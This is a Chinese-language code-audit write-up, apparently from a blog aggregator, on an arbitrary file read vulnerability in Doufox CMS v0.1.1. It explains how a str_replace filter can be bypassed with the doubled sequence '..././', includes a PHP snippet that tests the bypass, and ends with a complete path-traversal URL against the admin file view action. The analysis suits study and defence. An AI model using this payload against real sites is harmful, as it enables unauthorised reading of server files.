当前位置: 首页 > news >正文

【代码审计】Doufox v0.1.1 任意文件读取 分析

全局搜file_get_contents

FileController.viewAction

可以看到$filename参数可控,直接从get中传入file即可

接下来聚焦这段waf

$filename = str_replace(array('..\\', '../', './', '.\\'), '', trim($filename));

就是把../和./给替换为空

可以本地测下

<?php
$input="..././";
$input = str_replace(array('..\\', '../', './', '.\\'), '', trim($input));
echo "\n".$input;$input="..././..././";
$input = str_replace(array('..\\', '../', './', '.\\'), '', trim($input));
echo "\n".$input;$input="..././..././/";
$input = str_replace(array('..\\', '../', './', '.\\'), '', trim($input));
echo "\n".$input."\n";

其实特别好构造,一个普通的双写绕过..././被解析为.

那就用两次,再加上个/就可以成功构造../

接下来看怎么去调用FileController.viewAction

先随便点点功能,显然是个MVC框架

s对应namespace,c对应Controller,a对应Action

所以这么传就行:?s=admin&c=file&a=view

在根目录创建个leak.txt,内容为:

最终payload:

index.php?s=admin&c=File&a=view&file=..././..././/..././..././/..././..././/..././..././/leak.txt

http://www.dtcms.com/a/545485.html

相关文章:

  • 做php网站的环境微信网站小游戏
  • 做网站基本要求wordpress哪些文件需要给777
  • 不练不熟,不写就忘 之 compose 之 动画之 animateFloatAsState动画练习
  • 做物流网站的图片素材沈阳公司网站
  • 动态增减输入框并做校验
  • Matlab 开启并行池
  • 仓颉内存分配优化:从分配器到无分配编程的演进
  • MATLAB的KL展开随机场生成实现
  • MATLAB基于IOWA算子的投影法加权几何平均组合预测模型
  • Jupyter Notebook 使用指南:从入门到进阶
  • 基于MATLAB的禁忌搜索算法解决物流网络枢纽选址问题
  • 基于MATLAB的三维结构拓扑优化实现方案
  • 汕尾网站网站建设桐乡网站二次开发
  • qData数据中台开源版快速部署教程(Docker Compose方式|官方教学视频)
  • S11e Protocol:点燃共创之火 · 重构RWA品牌未来
  • [技术前沿] 2025电商格局重构:当流量红利消失,AI与数据如何成为增长的新基石?
  • 描述网站的含义郑州正规网站制作公司
  • 做网站做手机站还是自适应站河南省住房和城乡建设部网站
  • 执行shell脚本的各种方法
  • Rust 深度解析:控制流 —— 安全的“逻辑轨道”
  • 坪山建设网站自己怎么设置网站
  • 廊坊建设部网站怎么进网站后台管理系统
  • Rust 中 LinkedList 的双向链表结构深度解析
  • 从零开始学 Maven:Java 项目管理的高效解决方案
  • FAQ05047:在进入camera或者在camera中切换场景时,出现“很抱歉,相机已停止运行”
  • 以数字域名为网址的网站网站关键词 公司
  • 网站制作书生百度认证
  • leetcode 283. 移动零 pythton
  • wap网站服务器企业网站建设方案论文
  • 嵌入式网络编程深度探索:无线网络驱动开发实战指南